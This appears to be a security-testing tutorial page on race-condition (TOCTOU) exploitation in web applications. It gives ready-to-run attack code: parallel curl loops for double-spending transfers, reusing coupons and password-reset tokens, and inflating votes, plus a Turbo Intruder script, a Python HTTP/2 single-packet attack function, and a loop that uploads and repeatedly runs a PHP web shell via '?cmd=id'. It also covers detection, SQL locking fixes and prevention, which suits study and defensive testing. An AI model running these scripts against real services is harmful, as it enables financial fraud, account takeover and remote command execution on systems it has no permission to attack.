Race Condition Exploitation in Web Applications: TOCTOU Attacks & Limit Bypass (2025)
Race conditions are a class of concurrency vulnerabilities where the outcome depends on the timing of events — specifically, when two or more operations that should be atomic are instead executed in a sequence that can be interrupted. In web applications, race conditions can lead to financial fraud, privilege escalation, and data corruption. These bugs are notoriously difficult for automated scanners to detect, making them a gold mine for manual testers and bug bounty hunters.
Understanding TOCTOU (Time-of-Check to Time-of-Use)
The classic race condition pattern is TOCTOU — the application checks a condition (e.g., "does the user have sufficient balance?") and then performs an action (e.g., "deduct the balance"). If an attacker can squeeze a second request between the check and the use, the check passes twice but the action should only succeed once:
# Vulnerable code pattern (pseudocode):
def transfer(user, amount):
balance = get_balance(user) # TIME-OF-CHECK
if balance >= amount:
deduct_balance(user, amount) # TIME-OF-USE
credit_recipient(amount)
return "Success"
return "Insufficient funds"
# Attack: send two transfer requests simultaneously
# Both read balance=100, both pass the check, both deduct
# Result: 200 transferred from a 100 balance
Common Race Condition Targets
Financial Operations
# Double-spend on balance transfer
# Account balance: $100
# Send two simultaneous requests to transfer $100
# Request 1: POST /api/transfer {"amount": 100, "to": "attacker2"}
# Request 2: POST /api/transfer {"amount": 100, "to": "attacker3"}
# Both check balance ($100 >= $100 ✓)
# Both deduct: total transferred = $200 from $100 balance
# Coupon/promo code double-use
# Send same coupon code in parallel requests
POST /api/apply-coupon {"code": "SAVE50"} # Request 1
POST /api/apply-coupon {"code": "SAVE50"} # Request 2
# Single-use coupon applied twice
Rate Limit Bypass
# Bypass "one vote per user" restriction
# Send 100 parallel vote requests
# Bypass "3 failed login attempts" lockout
# Send 50 parallel login attempts with different passwords
# Bypass "one free trial per account"
# Send multiple trial activation requests simultaneously
# Bypass "one review per product"
for i in $(seq 1 20); do
curl -X POST https://target.com/api/reviews \
-H "Authorization: Bearer TOKEN" \
-d '{"product_id": 1, "rating": 5, "text": "Great!"}' &
done
wait
Inventory and Stock
# Buy the last item multiple times
# Stock: 1 unit remaining
# Send 10 simultaneous purchase requests
# Limited edition / flash sale exploitation
# All requests check stock > 0 simultaneously
# All pass, all purchase — overselling occurs
Exploitation Techniques
Parallel Requests with curl
# Method 1: Background processes
for i in $(seq 1 50); do
curl -s -X POST https://target.com/api/transfer \
-H "Cookie: session=ATTACKER_SESSION" \
-H "Content-Type: application/json" \
-d '{"amount": 100, "to": "attacker2"}' &
done
wait
# Method 2: GNU Parallel
seq 1 50 | parallel -j 50 curl -s -X POST \
https://target.com/api/redeem \
-H "Cookie: session=SESS" \
-d "code=PROMO50"
# Method 3: Using xargs
seq 1 50 | xargs -P 50 -I {} curl -s -X POST \
https://target.com/api/vote \
-H "Cookie: session=SESS" \
-d "candidate=1"
Turbo Intruder (Burp Suite)
# Turbo Intruder Python script for single-packet attack
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
pipeline=False)
# Queue all requests
for i in range(50):
engine.queue(target.req, gate='race1')
# Open the gate — sends all requests simultaneously
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
HTTP/2 Single-Packet Attack
HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, ensuring they arrive at the server at exactly the same time:
# Python script using h2 library for single-packet attack
import h2.connection
import h2.config
import socket
import ssl
def single_packet_attack(host, path, headers, num_requests):
ctx = ssl.create_default_context()
sock = socket.create_connection((host, 443))
sock = ctx.wrap_socket(sock, server_hostname=host)
config = h2.config.H2Configuration()
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Prepare all request frames
for i in range(num_requests):
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers, end_stream=True)
# Send ALL frames in a single write (single packet)
sock.sendall(conn.data_to_send())
# Read responses
responses = []
while len(responses) < num_requests:
data = sock.recv(65535)
events = conn.receive_data(data)
for event in events:
if hasattr(event, 'data'):
responses.append(event.data)
return responses
Real-World Race Condition Scenarios
Follow/Unfollow Race (Social Media)
# Exploit: gain extra followers
# 1. User A follows User B
# 2. Simultaneously: User A unfollows User B
# 3. Race condition: follower count incremented but not decremented
# 4. Repeat to inflate follower count
File Upload Race
# Exploit: bypass file type validation
# 1. Upload malicious.php (server validates, then moves to uploads/)
# 2. Simultaneously: access /uploads/malicious.php
# 3. Race: file exists briefly before validation deletes it
# Automated exploitation
while true; do
curl -s "https://target.com/uploads/shell.php?cmd=id" &
done &
while true; do
curl -s -X POST "https://target.com/upload" \
-F "file=@shell.php" &
done
Password Reset Race
# Exploit: use one reset token multiple times
# 1. Request password reset → receive token
# 2. Send multiple simultaneous reset requests with the same token
# 3. Token is checked before being invalidated
# 4. Multiple password changes succeed
for i in $(seq 1 10); do
curl -s -X POST https://target.com/api/reset-password \
-d "token=RESET_TOKEN&password=newpass$i" &
done
wait
Detecting Race Conditions
Methodology
- Identify state-changing operations with constraints (limits, balances, one-time actions)
- Test with 2 parallel requests first — if the constraint is violated, you have a race condition
- Increase parallelism to demonstrate reliable exploitation
- Compare responses — look for identical success responses where only one should succeed
Indicators of Vulnerability
# Signs an endpoint may be vulnerable:
# 1. Operations that check-then-act (read balance → deduct)
# 2. Single-use tokens or codes
# 3. Inventory or quota systems
# 4. Rate limiting implemented at application layer
# 5. Operations that modify shared state (counters, balances)
# Red flags in responses:
# - Both parallel requests return 200 OK
# - Balance/counter shows impossible values
# - Duplicate records created where only one should exist
Database-Level Race Conditions
# Vulnerable SQL (no locking):
SELECT balance FROM accounts WHERE user_id = 1;
-- balance = 100, check passes
UPDATE accounts SET balance = balance - 100 WHERE user_id = 1;
# Fix with SELECT FOR UPDATE (row-level locking):
BEGIN;
SELECT balance FROM accounts WHERE user_id = 1 FOR UPDATE;
-- Lock acquired — other transactions must wait
UPDATE accounts SET balance = balance - 100 WHERE user_id = 1;
COMMIT;
# Fix with atomic operation:
UPDATE accounts SET balance = balance - 100
WHERE user_id = 1 AND balance >= 100;
-- Check and update in a single atomic operation
# Fix with UNIQUE constraints:
CREATE UNIQUE INDEX idx_one_vote
ON votes(user_id, poll_id);
-- Database rejects duplicate votes
Combining Race Conditions with Other Attacks
Race conditions become more powerful when chained with CSRF attacks. If a state-changing endpoint lacks CSRF protection, an attacker can trigger the race from a victim's browser by embedding multiple auto-submitting forms.
Prevention
- Use database-level locking (
SELECT FOR UPDATE, advisory locks) for critical sections - Implement atomic operations — combine check and action in a single query
- Use idempotency keys for financial operations — reject duplicate request IDs
- Add UNIQUE constraints to prevent duplicate records
- Use optimistic locking with version numbers for update operations
- Implement distributed locks (Redis SETNX) for multi-server deployments
Generate race condition testing payloads with our Race Condition Generator. For encoding parallel request payloads, use the Encoding Pipeline. See related techniques in the CSRF Generator and the CSRF Cheat Sheet for combining race conditions with cross-site attacks.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides